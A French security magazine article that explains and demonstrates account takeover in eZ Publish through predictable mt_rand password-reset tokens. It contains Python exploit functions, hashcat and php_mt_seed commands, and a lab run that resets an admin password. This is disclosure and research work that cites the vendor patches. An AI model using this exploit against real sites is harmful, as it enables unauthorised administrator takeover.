Attaques sur mt_rand – « All your tokens are belong to us » : le cas d'eZ Publish

MISC HS n° 012 | octobre 2015 | Vincent Herbulot
Creative Commons
  • Currently 0 out of 5 Stars.
0
Thank you for rating!
You have already rated this page, you can only rate it once!
Your rating has been changed, thanks for rating!
Cet article s'intéresse à l'exploitation des vulnérabilités liées à la génération de nombres aléatoires en PHP et plus particulièrement à l'exploitation de la vulnérabilité EZSA-2015-001 [1] ou OSVDB-122439 [2] dans le CMS eZ Publish. Cette vulnérabilité tire parti de l'utilisation à mauvais escient de la fonction PHP mt_rand. En effet, cette fonction, utilisée pour générer des nombres aléatoires, est prédictible sous certaines conditions.

1. Introduction

La présence de ce type de vulnérabilité n'est pas nouvelle, puisqu'en 2008 Stefan Esser évoquait déjà le problème [3]. Une conférence a également été faite par George Argyros et Aggelos Kiayias lors de la BlackHat 2012. Le papier associé à cette conférence présente les différentes fonctions de génération de valeurs aléatoires en PHP et détaille les différentes manières de les exploiter [4]. Cet article s'intéresse uniquement aux attaques de récupération de la valeur d'initialisation du générateur de nombre pseudoaléatoire (PRNG) mt_randen s'appuyant sur l'exploitation d'une vulnérabilité de ce type dans le CMS eZ Publish.

La vulnérabilité présentée dans cet article affecte les versions d' eZ Publish de 4.3 à 5.4. Elle permet à un attaquant de prédire le jeton de réinitialisation de mot de passe généré pour une adresse e-mail donnée et, ainsi, de prendre le contrôle du compte associé à cette adresse e-mail. Pour ce faire, l'attaquant a besoin des prérequis suivants :

- Plusieurs sorties provenant du PRNG. Celles-ci peuvent provenir du CMS ou d'un de ses plug-ins. Dans cet article, nous irons au plus simple en extrayant les tirages depuis le jeton de réinitialisation de mot de passe d'un autre compte non privilégié.

- L'adresse e-mail de la cible afin de pouvoir déclencher la demande de réinitialisation du mot de passe.

- L'ID de l'utilisateur de la cible. Par défaut, celui de l'administrateur est 14.

Bien que connues depuis 2008, les vulnérabilités liées aux fonctions de génération de nombres aléatoires restent présentes dans beaucoup d'applications PHP. Leur exploitation nécessite relativement peu de prérequis et peut facilement être effectuée dans le cadre d'un test d'intrusion. La phase de reconnaissance d'un test d'intrusion permet de prendre connaissance de nombreuses informations, notamment, les adresses e-mails et les différentes applications utilisées. Dans le cadre d'un test d'intrusion Red Team, il peut alors être envisagé d'auditer brièvement les différentes applications open source identifiées afin de déterminer si l'une d'elles est vulnérable à une attaque de prédiction de jeton de réinitialisation, ce type d'attaque permettant généralement une compromission rapide du système.

2. Présentation de la vulnérabilité

La vulnérabilité est de type jeton prédictible. Elle provient d'une mauvaise implémentation de la fonctionnalité de création de jetons présente dans le fichier kernel/user/forgotpassword.php. Cette création de jetons repose sur un condensat MD5 créé à partir de 3 variables : l'ID de l'utilisateur, le timestamp en secondes et un tirage de mt_rand. Une fois le jeton généré, il est inclus dans un lien qui est envoyé par mail à l'utilisateur afin de l'authentifier pour qu'il puisse changer son mot de passe.

L'utilisateur est ensuite censé cliquer sur ce lien de réinitialisation de mot de passe. Si le jeton est valide, le CMS lui envoie un second mail contenant un mot de passe fraîchement généré. Ce mot de passe est également généré à l'aide de mt_rand.

La vulnérabilité réside dans le fait que mt_rand peut être prédit, dès lors que quelques tirages de celui-ci ont été obtenus. L'attaquant pourra alors prédire le jeton de réinitialisation qui sera généré pour sa cible puis le mot de passe qui lui sera attribué.

Fig. 1 : Processus de réinitialisation du mot de passe.

Mais avant de rentrer dans les détails de l'exploitation de cette vulnérabilité, revenons un peu sur les attaques sur mt_rand et, plus particulièrement, sur sa valeur d'initialisation.

2.1 À propos des attaques de récupération de la valeur d'initialisation sur mt_rand

En PHP, la fonction mt_rand est une fonction de remplacement à la fonction rand provenant de la libc. Elle est basée sur le PRNG Mersenne Twister [5] et elle est 4 fois plus rapide que cette dernière [6]. Elle produit en sortie un entier non signé de 31 bits soit un nombre compris entre 0 et 2 147 483 647. Le bit manquant (on s'attendrait à un entier non signé sur 32 bits) a été retiré par souci de compatibilité avec la fonction rand.

Elle est initialisée avec un entier non signé de 32 bits à l'aide de la fonction mt_srand. Cela représente donc 4 294 967 296 initialisations possibles du PRNG.

En obtenant un tirage suffisamment proche de l'état d'initialisation, il est alors intéressant d'attaquer par force brute la valeur d'initialisation (plus le tirage est éloigné du premier tirage, plus le nombre de tirages de mt_rand à recalculer pour vérifier notre valeur d'initialisation est grand). C'est d'ailleurs pour cela qu'a été conçu le programme php_mt_seed[7] que nous utiliserons par la suite.

D'autre part, la plupart des serveurs web étant multiprocessus, chaque processus dispose de son propre état interne du PRNG. Lorsqu'un nouveau processus est créé, cet état interne est donc perdu. Le nouveau processus fera alors appel à mt_srand dès le premier appel à mt_rand pour initialiser le PRNG.

Il est donc intéressant de pouvoir créer un nouveau processus et de s'assurer que l'ensemble des requêtes effectuées soit traité par ce même processus.

Afin de pouvoir attaquer la valeur d'initialisation de mt_rand, il faut donc résoudre les deux problèmes suivants :

- Comment obtenir un tirage de mt_rand suffisamment proche du premier tirage pour que l'on puisse attaquer le PRNG par force brute ?

- Comment s'assurer que les tirages qui suivront seront effectués par le même PRNG (nous essayons à terme de prédire les valeurs suivantes de mt_rand) ?

Dans le cas d'Apache, il existe 3 modes de fonctionnement :

- mod_php : dans ce mode, PHP est exécuté en tant que module d'Apache. Au démarrage, Apache crée un certain nombre de processus. Quand trop de processus sont occupés, Apache en crée un nouveau. Si un certain nombre de processus sont inoccupés, Apache les tue.

- CGI : dans ce mode, les scripts sont exécutés à l'aide de CGI (Common Gateway Interface). Chaque requête est traitée par un nouveau processus. Cette méthode est peu utilisée pour des raisons de performance et de sécurité.

- FastCGI : pour éviter la création d'un processus par requête, un gestionnaire de processus est créé. Celui-ci distribue les requêtes aux différents processus. Quand un processus a fini de traiter une requête, il ne meurt pas, le gestionnaire de processus le tue après un certain nombre de requêtes.

Dans ces 3 différents modes, il est donc possible de créer un nouveau processus en envoyant un nombre suffisant de requêtes. Pour ce qui est de s'assurer que le même processus traitera nos différentes requêtes par la suite, il existe une entête HTTP permettant de demander au serveur de garder une connexion ouverte :

Connection : Keep-Alive

Dans le cas de mod_php, lorsque le serveur reçoit cette entête, toutes les requêtes suivantes sont envoyées au même processus. Cependant, afin d'éviter qu'un processus reste en attente éternellement, certaines limites sont fixées :

MaxKeepAliveRequests 100

KeepAliveTimeout 5

Ceci est la configuration par défaut d'Apache. Elle définit le nombre maximum de requêtes Keep-Alive par processus à 100 et la durée du Keep-Alive à 5 secondes, ce qui permet de conserver le dialogue avec un même processus pour une durée de 8 minutes et 20 secondes.

2.2 La vulnérabilité de prédiction de jeton

Revenons maintenant sur la vulnérabilité dans le CMS eZ Publish. Dans eZ Publish, lorsque l'utilisateur demande la réinitialisation de son mot de passe, un jeton lui est envoyé par e-mail. Ce jeton est généré par les lignes suivantes du fichier kernel/user/forgotpassword.php :

$user = $users[0];

$time = time();

$userID = $user->id();

$hashKey = md5( $userID . ':' . $time . ':' . mt_rand() );

L'user ID de l'administrateur est 14 par défaut (si ce n'est pas le cas, il reste possible de l'attaquer par force brute). Le timestamp est connu puisqu'il est retourné dans l'entête Date des réponses HTTP. Quant au tirage de mt_rand, il est prédictible si tant est que l'on obtienne quelques fuites de cette même fonction au préalable.

Une fois ce jeton reçu par mail, l'utilisateur clique sur le lien lui permettant de réinitialiser son mot de passe. Ce mot de passe est généré par le code suivant :

$passwordLength = $ini->variable( "UserSettings", "GeneratePasswordLength" );

$newPassword = eZUser::createPassword( $passwordLength );

La valeur de GeneratePasswordLength dans le fichier settings/site.ini est par défaut à 6.

Alors, à quoi bon attaquer mt_rand ? La longueur du mot de passe est de 6 caractères, l'espace de caractères étant constitué de chiffres, minuscules et majuscules (moins 'l', 'o', 'I', 'O', '0' pour des problèmes de confusion probablement) cela laisse 57⁶ possibilités (soit 34 296 447 249). Une attaque en ligne est donc exclue.

La méthode createPasssword est définie dans le fichier kernel/classes/datatypes/ezuser/ezuser.php :

static function createPassword( $passwordLength, $seed = false )

{

$chars = 0;

$password = '';

if ( $passwordLength < 1 )

$passwordLength = 1;

$decimal = 0;

while ( $chars < $passwordLength )

{

if ( $seed == false )

$seed = time() . ":" . mt_rand();

$text = md5( $seed );

$characterTable = eZUser::passwordCharacterTable();

$tableCount = count( $characterTable );

for ( $i = 0; ( $chars < $passwordLength ) and $i < 32; ++$chars, $i += 2 )

{

$decimal += hexdec( substr( $text, $i, 2 ) );

$index = ( $decimal % $tableCount );

$character = $characterTable[$index];

$password .= $character;

}

$seed = false;

}

return $password;

}

Le fonctionnement de cette fonction peut être résumé de la manière suivante : un condensat MD5 est créé à partir du temps et d'un tirage de mt_rand. Ce condensat est alors converti octet par octet vers une suite d'entiers, ces entiers sont ensuite utilisés pour sélectionner des caractères dans l'espace de caractères.

La fonction de génération de mot de passe repose donc sur le retour de la fonction time (un timestamp disponible dans l'entête date de la réponse HTTP) et un tirage de mt_rand. Ce mot de passe est ensuite envoyé à l'utilisateur par e-mail.

2.3 Déroulement de l'attaque

Pour exploiter cette attaque, il est nécessaire d'accéder à quelques tirages de mt_rand afin de pouvoir retrouver la valeur d’initialisation du PRNG Mersenne Twister. Il est alors possible de prédire les prochains tirages pour peu que l'on communique avec le même processus. Ces prochains tirages nous permettront de déterminer le jeton généré pour l'utilisateur ciblé par notre attaque ainsi que son mot de passe.

Pour résumer, l'attaque se déroule de la manière suivante :

1. Envoyer plusieurs requêtes HTTP Keep-Alive pour s'assurer d'obtenir un nouveau processus et donc un PRNG fraîchement initialisé. Pour les processus suivants, seule la dernière socket ouverte avec un Keep-Alive sera utilisée pour communiquer.

2. Effectuer plusieurs demandes de réinitialisation de mot de passe à l'aide d'un compte contrôlé afin de récupérer des jetons de réinitialisation et par extension des tirages de mt_rand.

3. Casser ces jetons (ceux-ci sont des condensats MD5) pour obtenir des tirages de mt_rand.

4. Utiliser ces tirages de mt_rand pour récupérer la valeur d'initialisation du PRNG.

5. « Prédire » (calculer) les prochains tirages de mt_rand.

6. Effectuer une demande de réinitialisation du mot de passe de l'utilisateur cible et prédire son jeton de réinitialisation.

7. Effectuer une requête sur le lien de réinitialisation de l'utilisateur cible afin de réinitialiser effectivement son mot de passe et prédire celui-ci.

Durant tout ce processus, un signal périodique « heartbeat » doit être maintenu afin de s'assurer que l'on communique toujours avec le même processus. En effet, les phases de cassage des condensats MD5 et de la valeur d’initialisation du PRNG prennent du temps et la connexion expirerait si l'on n'envoyait pas une requête toutes les 5 secondes (à cause du KeepAliveTimeout).

Fig. 2 : Déroulement de l'attaque.

3. Exploitation de la vulnérabilité

Pour exploiter cette vulnérabilité, un environnement de test a été mis en place. Le système d'exploitation est une Debian 7, la version d'Apache est la 2.2.22-13+deb7u3, la version de PHP est la 5.4.4-14+deb7u14 et Apache exécute PHP à l'aide de mod_php. La version d'eZ Publish utilisée est la version « Community » v2014.11.1. L'exemple d'exploitation ci-dessous est écrit en Python et suit les étapes précédemment énoncées.

3.1 Obtention d'un processus fraîchement initialisé

Il faut tout d'abord obtenir un processus fraîchement créé/initialisé afin d'obtenir des tirages de mt_rand proches des premiers tirages et ainsi pouvoir retrouver la valeur d'initialisation.

Par défaut, Apache garde 4 processus en permanence et en crée de nouveaux lorsque tous ses processus sont occupés. Il faut donc effectuer plusieurs requêtes sur des sockets différentes avec une entête Connection : Keep-Alive. Ceci est faità l'aide de la fonction suivante (connection_nb étant le nombre de connexions à établir) :

def spawnNewApacheProcesses( connection_nb, host, port = 80):

request = 'GET / HTTP/1.1\r\nHost: '+ host + '\r\nConnection: Keep-Alive\r\n\r\n'

socket_list = []

for i in range(connection_nb):

s = socket(AF_INET, SOCK_STREAM)

s.connect((host, port))

s.send(request)

socket_list.append(s)

 

return socket_list

De cette manière, la prochaine requête effectuée sur une nouvelle connexion obtiendra un nouveau processus.

La fonction retourne également la liste des sockets ouvertes socket_list pour pouvoir les détruire par la suite à l'aide de la fonction suivante :

def closeNewApacheConnections( socket_list ):

""" Closes the opened connections. """

for s in socket_list:

s.close()

3.2 Récupération d'informations sur l'état de mt_rand

Il faut maintenant récupérer quelques tirages de mt_rand afin d'être en mesure de prédire le jeton qui sera généré pour notre cible. Pour cela, il est possible d'utiliser un compte non privilégié pour faire une demande de réinitialisation de mot de passe. La fonction suivante est utilisée :

def sendResetRequest(socket, host, app_base, email):

data = 'UserEmail=' + urllib.quote(email) + '&GenerateButton=G%C3%A9n%C3%A9rer+un+nouveau+mot+de+passe'

request = 'POST ' + app_base + 'index.php/fre/user/forgotpassword HTTP/1.1\r\n' + \

'Host: ' + host + '\r\n' + \

'User-Agent: Mozilla/5.0\r\n' + \

'Connection: keep-alive\r\n' + \

'Content-Type: application/x-www-form-urlencoded\r\n' + \

'Content-Length: ' + str(len(data)) + '\r\n\r\n' + \

data

socket.send(request)

La variablesocket correspond à la dernière socket ouverte qui dialogue avec notre processus fraîchement initialisé. La variable app_base correspond au chemin vers l'application (dans notre cas ezpublish5_community_2014_11_1/ezpublish_legacy/). Enfin, email correspond à l'adresse e-mail du compte contrôlé. Cette fonction est appelée plusieurs fois afin d'obtenir plusieurs tirages de mt_rand et de limiter les possibilités de collisions sur la valeur d'initialisation (par exemple, le tirage de la valeur « 1 » peut être obtenu par les valeurs d'initialisations 1442800446, 1498560640 et 3710816105).

Les timestamps sont également récupérés à l'aide de la fonction suivante :

def recvTimestamps(socket, nb_timestamp):

timestamps = []

timestamp_count = 0

while timestamp_count < nb_timestamp:

buf = socket.recv(256)

match = re.search("Date:\ ...,\ ([^G]*)G", buf)

if match:

timestring = match.group(1)

timestamp = time.mktime(datetime.datetime.strptime(timestring, "%d %b %Y %H:%M:%S ").timetuple())

timestamp = int(timestamp + (3600 * 2)) # Hardcoded GMT+2

timestamps.append(timestamp)

timestamp_count += 1

print("Timestamp found : " + str(timestamp))

return timestamps

Une fois les demandes de réinitialisation de mot de passe effectuées, il faut récupérer les jetons qui ont été générés sur l'adresse e-mail. Ceci est effectué à l'aide de la fonction suivante :

def getTokensFromMails(email_address, password):

tokens = []

M = imaplib.IMAP4_SSL('imap.gmail.com')

M.login(email_address, password)

rv, data = M.select("ezpublish")

if rv == 'OK':

rv, data = M.search(None, "ALL")

if rv != 'OK':

print "No messages found!"

return

for num in data[0].split():

rv, data = M.fetch(num, '(RFC822)')

if rv != 'OK':

print "ERROR getting message", num

return

 

msg = email.message_from_string(data[0][1])

body = msg.get_payload()

 

token = extractTokenFromMail(body)

tokens.append(token)

print("Token found : " + token)

 

M.store(num, '+FLAGS', '\\Deleted')

M.expunge()

M.close()

M.logout()

return tokens

3.3 Attaque sur les condensats MD5

Les timestamps et le user_id(14) étant en notre possession, il est possible d'attaquer les condensats MD5 par force brute à l'aide de cudaHashcat [8] afin de déterminer les différents tirages de mt_rand(231 possibilités). La fonction est la suivante :

def crackHashes(tokens, timestamps, user_id, nb_tokens):

# Write hashes and salt to a file

with open("hashes", "w+") as hashfile:

for i in range(nb_tokens):

salt = (user_id + ":" + str(timestamps[i]) + ":").encode("hex")

hashfile.write(tokens[i] + ":" + salt + "\n")

 

 

print('[+] Launching cudahashcat ...')

mt_rand_values = [ None ] * nb_tokens

command = "/opt/tools/cudaHashcat-1.31/cudaHashcat64.bin -a 3 -m 20 --hex-salt -i ~/ezpublish/hashes '?d?d?d?d?d?d?d?d?d?d'"

cudahashcat = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

output = cudahashcat.communicate() # Wait for the process to end

matches = re.findall("([0-9a-f]{32}):[0-9a-f]{26,30}:([0-9]{1,11})", output[0])

for hash_recovered, mt_rand_value in matches:

print("Hash " + hash_recovered + " recovered : " + mt_rand_value)

mt_rand_values[tokens.index(hash_recovered)] = mt_rand_value

return mt_rand_values

 

Cette fonction prend en paramètres les jetons récupérés par e-mail, les timestamps, l'user_id, et le nombre de jetons. À partir de ces données, elle crée un fichier au format hashcat et lance l'attaque par force brute des condensats. Enfin, elle retourne les tirages de mt_rand ainsi découverts. Le cassage des différents tirages prend environ 3 minutes avec une carte graphique GeForce GTX 460 OEM.

3.4 Déterminer la valeur d'initialisation du PRNG

Après avoir déterminé les différents tirages de mt_rand utilisés pour générer le jeton de l'utilisateur que nous contrôlons, il faut retrouver la valeur d’initialisation, pour cela, il est possible d'utiliser php_mt_seed. Les arguments que prend php_mt_seed sont de la forme :

$ ./php_mt_seed

Usage: ./php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]] ...

 

Pour l'utiliser en correspondance exact, il faut donc spécifier le MATCH_MIN égal au MATCH_MAX suivi par le RANGE_MIN (0) et le RANGE_MAX (2 ^31 – 1). Soit 4 valeurs par tirage. Pour passer un tirage manqué, il faut utiliser 4 zéros. La fonction Python est la suivante :

def crackSeed(mt_rand_values):

"""

Use php_mt_seed to crack the seed using the recovered mt_rand_values.

php_mt_seed is available from http://www.openwall.com/php_mt_seed/

the binary must be in the same directory.

"""

MIN = "0"

MAX = "2147483647"

PHP_MT_SEED = "exec ./php_mt_seed"

SEP = " "

SKIP = "0 0 0 0"

commands = PHP_MT_SEED + SEP

 

# Sometimes all mt_rand_values are not recovered due to difference in

# timestamp between generation of the token and server response.

for mt_rand_value in mt_rand_values:

if mt_rand_value:

commands += SKIP + SEP + mt_rand_value + SEP + mt_rand_value + SEP + MIN + SEP + MAX + SEP

# Skip when there is no value

else:

commands += SKIP + SEP + SKIP + SEP

 

print(commands)

php_mt_seed = subprocess.Popen(commands, shell=True, stdout=subprocess.PIPE)

seed = None

 

while True:

out = php_mt_seed.stdout.readline()

if out == '' and php_mt_seed.poll() != None:

break

if out != '':

match = re.search("seed\ =\ ([0-9]{1,11})",out)

if match:

seed = match.group(1)

php_mt_seed.kill()

break

return seed

Cette fonction prend en paramètre un tableau contenant les valeurs des tirages de mt_rand, elle retourne la valeur d’initialisation. Le SKIP inséré systématiquement correspond à un tirage non connu, présent avant chaque tirage de mt_rand. Ceci est dû au fait que la méthode eZUser::createPassword est appelée avant la création du jeton. Cette méthode effectuant un appel àmt_rand.

3.5 Calcul du prochain tirage de mt_rand

Une fois la valeur d’initialisation récupérée, il est possible de calculer le tirage suivant de la fonction mt_rand (ou plutôt celui d'après puisqu'il faut sauter un tirage, celui de l'appel à eZUser::createPassword). Pour cela, on utilise un script PHP simple appelé depuis le programme Python (plutôt que de réimplémenter le mt_rand de PHP en Python). Le script est le suivant :

<?php

$skip = $argv[1];

$seed = $argv[2];

 

mt_srand($seed);

while($skip-- > 0) {

mt_rand();

}

echo mt_rand() ."\n";

?>

L'appel à ce script depuis le programme Python est réalisé par la fonction suivante :

def phpPredict(skip, seed):

predict = subprocess.Popen("php predict.php " + str(skip) + " " + seed,

shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

output = predict.communicate()[0]

return re.match("([0-9]{1,11})", output).group(1)

La fonction prend en argument le nombre de tirages à passer et la valeur d'initialisation, elle retourne le tirage de mt_rand demandé.

3.6 Effectuer la demande de réinitialisation de l'utilisateur cible et prédire son jeton

La demande de réinitialisation de mot de passe pour l'utilisateur cible est ensuite effectuée à l'aide de la fonction sendResetRequest décrite plus haut. Il faut également récupérer le timestamp présent dans la réponse afin de pouvoir prédire le jeton.

3.7 Effectuer une requête sur le lien de réinitialisation et prédire le mot de passe

Le jeton peut maintenant être prédit à l'aide du tirage de mt_rand et du timestamp :

hashlib.md5(args.target_user_id + ":"+ str(timestamp) + ":" + mt_rand_value).hexdigest()

Il faut alors appeler l'URL de confirmation de réinitialisation de mot de passe et relever le timestamp de la réponse :

token_reset_request = 'GET ' + token_reset_url + ' HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' % args.host

s.send(token_reset_request)

timestamp = recvTimestamps(s, 1)[0]

Si le jeton est valide, la page contient le texte « Un nouveau mot de passe a été généré ». Il ne reste plus qu'à prédire le prochain tirage de mt_rand et à en déduire le mot de passe généré.

mt_rand_value = phpPredict((NB_TOKENS * 2 + 2), seed)

password = predictPassword(6, timestamp, mt_rand_value)

La fonction predictPassword correspond à la méthode createPassword d' eZ Publish, hormis le fait qu'ici, le tirage de mt_rand ainsi que le timestamp sont passés en argument :

def predictPassword(password_length, time, mt_rand_value):

"""

python version of the ezPublish createPassword function from

kernel/classes/datatypes/ezuser/ezuser.php

"""

chars = 0;

password = ''

decimal = 0;

seed = str(time) + ":" + mt_rand_value

while chars < password_length:

text = hashlib.md5(seed).hexdigest()

characterTable = "abcdefghijkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ123456789"

tableCount = len(characterTable)

i = 0

while chars < password_length and i < 32:

decimal += int(text[i:i+2], 16)

index = decimal % tableCount

character = characterTable[index]

password += character

i += 2

chars += 1

return password

Il est alors possible de calculer le mot de passe que l'utilisateur cible a reçu par e-mail comme le montre la trace suivante :

$ python ez_token_predict.py --host 192.168.56.101 --user-id 118 --user-email unprivileged.user@example.org --target-user-email admin@example.org --app-base '/ezpublish5_community_2014_11_1/ezpublish_legacy/' --target-user-id 14

[+] Forcing creation of new apache process. [ 0 min 0.00 sec ]

[+] Requesting 5 password reset ... [ 0 min 0.00 sec ]

Timestamp found : 1437058044

Timestamp found : 1437058045

Timestamp found : 1437058047

Timestamp found : 1437058049

Timestamp found : 1437058051

[+] Starting Heartbeat ... [ 0 min 10.23 sec ]

[+] Getting the mails ... [ 0 min 10.23 sec ]

Password:

Token found : fae65a45629ab2587364324f06f2df6c

Token found : 5e72f2516988e8cedbe1a053423769f5

Token found : 9ea4bb861c266770106f0846cb0805a8

Token found : 7e3405f3d06c8e81df4c58b366f81250

Token found : ec53de8cadacfd4f3e4ac6fdaed86978

[+] Cracking hashes

[+] Launching cudahashcat ...

Hash ec53de8cadacfd4f3e4ac6fdaed86978 recovered : 594535942

Hash fae65a45629ab2587364324f06f2df6c recovered : 933629994

Hash 5e72f2516988e8cedbe1a053423769f5 recovered : 120982736

Hash 9ea4bb861c266770106f0846cb0805a8 recovered : 994716847

Hash 7e3405f3d06c8e81df4c58b366f81250 recovered : 1553021171

[+] Cracking the seed ... [ 2 min 24.54 sec ]

exec ./php_mt_seed 0 0 0 0 933629994 933629994 0 2147483647 0 0 0 0 120982736 120982736 0 2147483647 0 0 0 0 994716847 994716847 0 2147483647 0 0 0 0 1553021171 1553021171 0 2147483647 0 0 0 0 594535942 594535942 0 2147483647

Found 0, trying 2449473536 - 2483027967, speed 17530047 seeds per second

-----------------------------------------

Seed found : 2481752819 [ 4 min 46.26 sec ]

-----------------------------------------

[+] Predicting token for user admin :

[+] Reseting admin password ...

Timestamp found : 1437058327

[+] Admin token url : http://192.168.56.101/ezpublish5_community_2014_11_1/ezpublish_legacy/index.php/user/forgotpassword/45aab69502658771e9e2d604266a0e78

[+] GET /ezpublish5_community_2014_11_1/ezpublish_legacy/index.php/user/forgotpassword/45aab69502658771e9e2d604266a0e78 ...

Timestamp found : 1437058328

[+] Password successfully reset !

[+] Predicting password for user admin [ 4 min 48.89 sec ]

-----------------------------------------

[+] Password of admin reset to : 73RxJh [ 4 min 48.90 sec ]

-----------------------------------------

Connection has been closed. Stopping heartbeat

Heartbeat stopped

Une version complète de cette preuve de concept est disponible sur GitHub Gist [8].

Conclusion

Cette vulnérabilité, bien qu'elle ne soit pas triviale à exploiter et demande certains prérequis, permet d'obtenir un accès administrateur sur le CMS. Il n'est alors pas rare, une fois administrateur d'un CMS, de réussir à prendre la main sur le serveur à l'aide d'un Webshell. Dans le cadre d'un test d'intrusion Red Team, ce premier serveur compromis permet d'établir une tête de pont sur le réseau cible et de progresser dans l'intrusion.

Bien que connues depuis 2008, les vulnérabilités sur la génération d'aléas en PHP semblent encore très présentes dans les différents logiciels, j'ai pu en observer plusieurs aux cours de mes recherches et de mes prestations ces derniers mois. Certaines ne sont pas encore publiques, d'autre le sont, mais pour une raison que j'ignore je ne parviens pas à obtenir de CVE-ID pour ces vulnérabilités (je ne suis apparemment pas le seul dans ce cas [9][10]). Les lecteurs intéressés pourront cependant étudier les correctifs suivants :

- Prestashop : https://github.com/PrestaShop/PrestaShop/pull/2841

- Wordpress/Contact-form-7 : https://github.com/wp-plugins/contact-form-7/commit/6e75a825829b00c2f645acc67ea14ccfd7e54ceb

- eZPublish : https://github.com/ezsystems/ezpublish-legacy/commit/5908d5ee65fec61ce0e321d586530461a210bf2a

Je pense que de nombreuses vulnérabilités de ce type sont encore présentes et j'espère que cet article vous aura sensibilisé à ce problème de sécurité et, éventuellement, vous donnera envie de les trouver.

Références

[1] http://share.ez.no/community-project/security-advisories/ezsa-2015-001-potential-vulnerability-in-ez-publish-password-recovery

[2] http://osvdb.org/show/osvdb/122439

[3] http://web.archive.org/web/20140217214745/http://www.suspekt.org/2008/08/17/mt_srand-and-not-so-random-numbers/

[4] https://media.blackhat.com/bh-us-12/Briefings/Argyros/BH_US_12_Argyros_PRNG_WP.pdf

[5] https://en.wikipedia.org/wiki/Mersenne_Twister

[6] http://php.net/manual/fr/function.mt-rand.php

[7] http://www.openwall.com/php_mt_seed/

[8] https://gist.github.com/us3r777/e08aeca78ff369efe88b

[9] http://hashcat.net/oclhashcat/

[10] http://seclists.org/fulldisclosure/2015/Mar/132

[11] http://davidjorm.blogspot.com.au/2015/07/101-ways-to-pwn-phone.html